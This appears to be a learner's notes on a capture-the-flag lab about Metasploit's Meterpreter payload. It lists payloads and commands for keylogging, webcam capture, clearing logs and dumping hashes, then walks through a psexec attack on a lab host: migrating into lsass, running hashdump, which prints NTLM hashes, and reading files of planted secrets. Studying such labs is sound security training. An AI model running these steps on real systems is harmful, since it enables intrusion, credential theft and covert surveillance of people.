Metasploit - Meterpreter

Introduction to Meterpreter

Meterpreter is a Metasploit payload that supports the penetration testing process with many valuable components

How does Meterpreter work?

Meterpreter runs on the target system but is not installed on it. It runs in memory and does not write itself to the disk on the target.

Meterpreter also aims to avoid being detected by network-based IPS (Intrusion Prevention System) and IDS (Intrusion Detection System) solutions by using encrypted communication with the server where Metasploit runs

getpid - get process id command

ps - lists processes running

Meterpreter will establish an encrypted (TLS) communication channel with the attacker's system

Meterpreter Flavours

staged payloads are sent to the target in two steps. An initial part is installed (the stager) and requests the rest of the payload

The easiest way to have an idea about available Meterpreter versions could be to list them using msfvenom

```
root@ip-10-10-186-44:~# msfvenom --list payloads | grep meterpreter
    android/meterpreter/reverse_http                    Run a meterp
    android/meterpreter/reverse_https                   Run a meterp
    android/meterpreter/reverse_tcp                     Run a meterp
    android/meterpreter_reverse_http                    Connect back
    android/meterpreter_reverse_https                   Connect back
    android/meterpreter_reverse_tcp                     Connect back
    apple_ios/aarch64/meterpreter_reverse_http          Run the Mete
    apple_ios/aarch64/meterpreter_reverse_https         Run the Mete
    apple_ios/aarch64/meterpreter_reverse_tcp           Run the Mete
    apple_ios/armle/meterpreter_reverse_http            Run the Mete
    apple_ios/armle/meterpreter_reverse_https           Run the Mete
    apple_ios/armle/meterpreter_reverse_tcp             Run the Mete
    java/meterpreter/bind_tcp                           Run a meterp
    java/meterpreter/reverse_http                       Run a meterp
    java/meterpreter/reverse_https                      Run a meterp
    java/meterpreter/reverse_tcp                        Run a meterp
    linux/aarch64/meterpreter/reverse_tcp               Inject the m
    linux/aarch64/meterpreter_reverse_http              Run the Mete
    linux/aarch64/meterpreter_reverse_https             Run the Mete
    linux/aarch64/meterpreter_reverse_tcp               Run the Mete
    linux/armbe/meterpreter_reverse_http                Run the Mete
    linux/armbe/meterpreter_reverse_https               Run the Mete
    linux/armbe/meterpreter_reverse_tcp                 Run the Mete
    linux/armle/meterpreter/bind_tcp                    Inject the m
    linux/armle/meterpreter/reverse_tcp                 Inject the m
```

We have used the `msfvenom --list payloads` command and grepped "meterpreter" payloads (adding `| grep meterpreter` to the command line), so the output only shows these.

The list will show Meterpreter versions available for the following platforms;

- Android
- Apple iOS
- Java
- Linux
- OSX
- PHP
- Python
- Windows

Your decision on which version of Meterpreter to use will be mostly based on three factors;

- The target operating system (Is the target operating system Linux or Windows? Is it a Mac device? Is it an Android phone? etc.)
- Components available on the target system (Is Python installed? Is this a PHP website? etc.)
- Network connection types you can have with the target system (Do they allow raw TCP connections? Can you only have an HTTPS reverse connection? Are IPv6 addresses not as closely monitored as IPv4 addresses? etc.)

some exploits will have a default Meterpreter payload

Meterpreter Commands

Meterpreter will provide you with three primary categories of tools;

- Built-in commands
- Meterpreter tools
- Meterpreter scripting

Typing `help` on any Meterpreter session will list all available commands.

- Core commands
- File system commands
- Networking commands
- System commands
- User interface commands
- Webcam commands
- Audio output commands
- Elevate commands
- Password database commands
- Timestomp commands

Core commands

- `background` : Backgrounds the current session
- `exit` : Terminate the Meterpreter session
- `guid` : Get the session GUID (Globally Unique Identifier)
- `help` : Displays the help menu
- `info` : Displays information about a Post module
- `irb` : Opens an interactive Ruby shell on the current session
- `load` : Loads one or more Meterpreter extensions
- `migrate` : Allows you to migrate Meterpreter to another process
- `run` : Executes a Meterpreter script or Post module
- `sessions` : Quickly switch to another session

File system commands

- `cd` : Will change directory
- `ls` : Will list files in the current directory (dir will also work)
- `pwd` : Prints the current working directory
- `edit` : will allow you to edit a file
- `cat` : Will show the contents of a file to the screen
- `rm` : Will delete the specified file
- `search` : Will search for files
- `upload` : Will upload a file or directory
- `download` : Will download a file or directory

Networking commands

- `arp` : Displays the host ARP (Address Resolution Protocol) cache
- `ifconfig` : Displays network interfaces available on the target system
- `netstat` : Displays the network connections
- `portfwd` : Forwards a local port to a remote service
- `route` : Allows you to view and modify the routing table

System commands

- `clearev` : Clears the event logs
- `execute` : Executes a command
- `getpid` : Shows the current process identifier
- `getuid` : Shows the user that Meterpreter is running as
- `kill` : Terminates a process
- `pkill` : Terminates processes by name
- `ps` : Lists running processes
- `reboot` : Reboots the remote computer
- `shell` : Drops into a system command shell
- `shutdown` : Shuts down the remote computer
- `sysinfo` : Gets information about the remote system, such as OS

Others Commands (these will be listed under different menu categories in the help menu)

- `idletime` : Returns the number of seconds the remote user has been idle
- `keyscan_dump` : Dumps the keystroke buffer
- `keyscan_start` : Starts capturing keystrokes
- `keyscan_stop` : Stops capturing keystrokes
- `screenshare` : Allows you to watch the remote user's desktop in real time
- `screenshot` : Grabs a screenshot of the interactive desktop
- `record_mic` : Records audio from the default microphone for X seconds
- `webcam_chat` : Starts a video chat
- `webcam_list` : Lists webcams
- `webcam_snap` : Takes a snapshot from the specified webcam
- `webcam_stream` : Plays a video stream from the specified webcam
- `getsystem` : Attempts to elevate your privilege to that of local system
- `hashdump` : Dumps the contents of the SAM database

Post-Exploitation with Meterpreter

Meterpreter commands

`getuid` command will display the user with which Meterpreter is currently running.

Migrate

Some Meterpreter versions will offer you the `keyscan_start`, `keyscan_stop`, and `keyscan_dump` command options to make Meterpreter act like a keylogger.

To migrate to any process, you need to type the `migrate` command followed by the PID of the desired target process.

Be careful; you may lose your user privileges if you migrate from a higher privileged (e.g. SYSTEM) user to a process started by a lower privileged user (e.g. webserver)

Hashdump

The `hashdump` command will list the content of the SAM database. The SAM (Security Account Manager) database stores user's passwords on Windows systems. stored in the NTLM (New Technology LAN Manager) format.

Search

The `search` command is useful

In a CTF context, this can be used to quickly find a flag or proof file

in actual penetration testing engagements, you may need to search for user-generated files or configuration files that may contain password or account information

Shell

The shell command will launch a regular command-line shell on the target system. Pressing CTRL+Z will help you go back to the Meterpreter shell.

Post-Exploitation Challenge

`getsystem` and `hashdump` will provide important leverage and information for privilege escalation and lateral movement.

can also use the load command to leverage additional tools such as Kiwi or even the whole Python language.

The post-exploitation phase will have several goals; Meterpreter has functions that can assist all of them.

- Gathering further information about the target system.
- Looking for interesting files, user credentials, additional network interfaces, and generally interesting information on the target system.
- Privilege escalation.
- Lateral movement.

I set the details of the exploit

```
msf6 exploit(windows/smb/psexec) > set RHOSTS 10.80.146.103
RHOSTS => 10.80.146.103
msf6 exploit(windows/smb/psexec) > set SMBPass Password1
SMBPass => Password1
msf6 exploit(windows/smb/psexec) > set SMBUser ballen
SMBUser => ballen
msf6 exploit(windows/smb/psexec) > show options
```

then ran the exploit and got meterpreter

i then used the sysinfo command to get some information about the device

```
meterpreter > sysinfo
Computer        : ACME-TEST
OS              : Windows Server 2019 (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : FLASH
Logged On Users : 7
Meterpreter     : x86/windows
```

i now background the session so i can use a post exploit module

```
msf6 exploit(windows/smb/psexec) > search enum_shares

Matching Modules
================

   #  Name                                Disclosure Date  Rank    Check  Description
   -  ----                                ---------------  ----    -----  -----------
   0  post/windows/gather/enum_shares     .                normal  No     Windows Gather SMB Share Enumeration via Reg
istry
```

I then changed the options and set the session which i backgrounded to run this exploit against i ran the exploit and gave me some enum_shares

```
msf6 post(windows/gather/enum_shares) > set SESSION 1
SESSION => 1
msf6 post(windows/gather/enum_shares) > run
[*] Running module against ACME-TEST (10.80.146.103)
[*] The following shares were found:
[*]     Name: SYSVOL
[*]     Path: C:\Windows\SYSVOL\sysvol
[*]     Remark: Logon server share
[*]     Type: DISK
[*]
[*]     Name: NETLOGON
[*]     Path: C:\Windows\SYSVOL\sysvol\FLASH.local\SCRIPT
S
[*]     Remark: Logon server share
[*]     Type: DISK
[*]
[*]     Name: speedster
[*]     Path: C:\Shares\speedster
[*]     Type: DISK
[*]
[*] Post module execution completed
```

i went back to the meterpreter session and had to migrate to a lsass.exe process using migrate then the pid and used hashdump to dump the user hashes

```
meterpreter > migrate 760
[*] Migrating from 1212 to 760...
[*] Migration completed successfully.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:58a478135a93ac3bf058a5ea0e8fdb71:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a9ac3de200cb4d510fed7610c7037292:::
ballen:1112:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
jchambers:1114:aad3b435b51404eeaad3b435b51404ee:69596c7aa1e8daee17f8e78870e25a5c:::
jfox:1115:aad3b435b51404eeaad3b435b51404ee:c64540b95e2b2f36f0291c3a9fb8b840:::
lnelson:1116:aad3b435b51404eeaad3b435b51404ee:e88186a7bb7980c913dc90c7caa2a3b9:::
erptest:1117:aad3b435b51404eeaad3b435b51404ee:8b9ca7572fe60a1559686dba90726715:::
ACME-TEST$:1008:aad3b435b51404eeaad3b435b51404ee:4152bbe404fa50f7d8e6a343f68e89fa:::
```

I then needed to find a secrets.txt file

where i used the command search -f secrets.txt

```
meterpreter > search -f secrets.txt
Found 1 result...
=================

Path                                                  Size (bytes)  Modified (UTC)
----                                                  ------------  --------------
c:\Program Files (x86)\Windows Multimedia Platform\secrets.txt  35            2021-07-30 08:44:27 +0100
```

i then went to that directory and used cat secrets.txt to get the twitter password

```
meterpreter > cat c:\Program Files (x86)\Windows Multimedia Platform\secrets.txt
[-] stdapi_fs_stat: Operation failed: The system cannot find the file specified.
meterpreter > cat "c:\Program Files (x86)\Windows Multimedia Platform\secrets.txt"
My Twitter password is KDSvbsw3849!meterpreter >
```

then i followed the steps above with the realsecret.txt file

```
meterpreter > search -f realsecret.txt
Found 1 result...
=================

Path                                Size (bytes)  Modified (UTC)
----                                ------------  --------------
c:\inetpub\wwwroot\realsecret.txt   34            2021-07-30 09:30:24 +0100

meterpreter > cat "c:\inetpub\wwwroot\realsecret.txt"
The Flash is the fastest man alimeterpreter >
```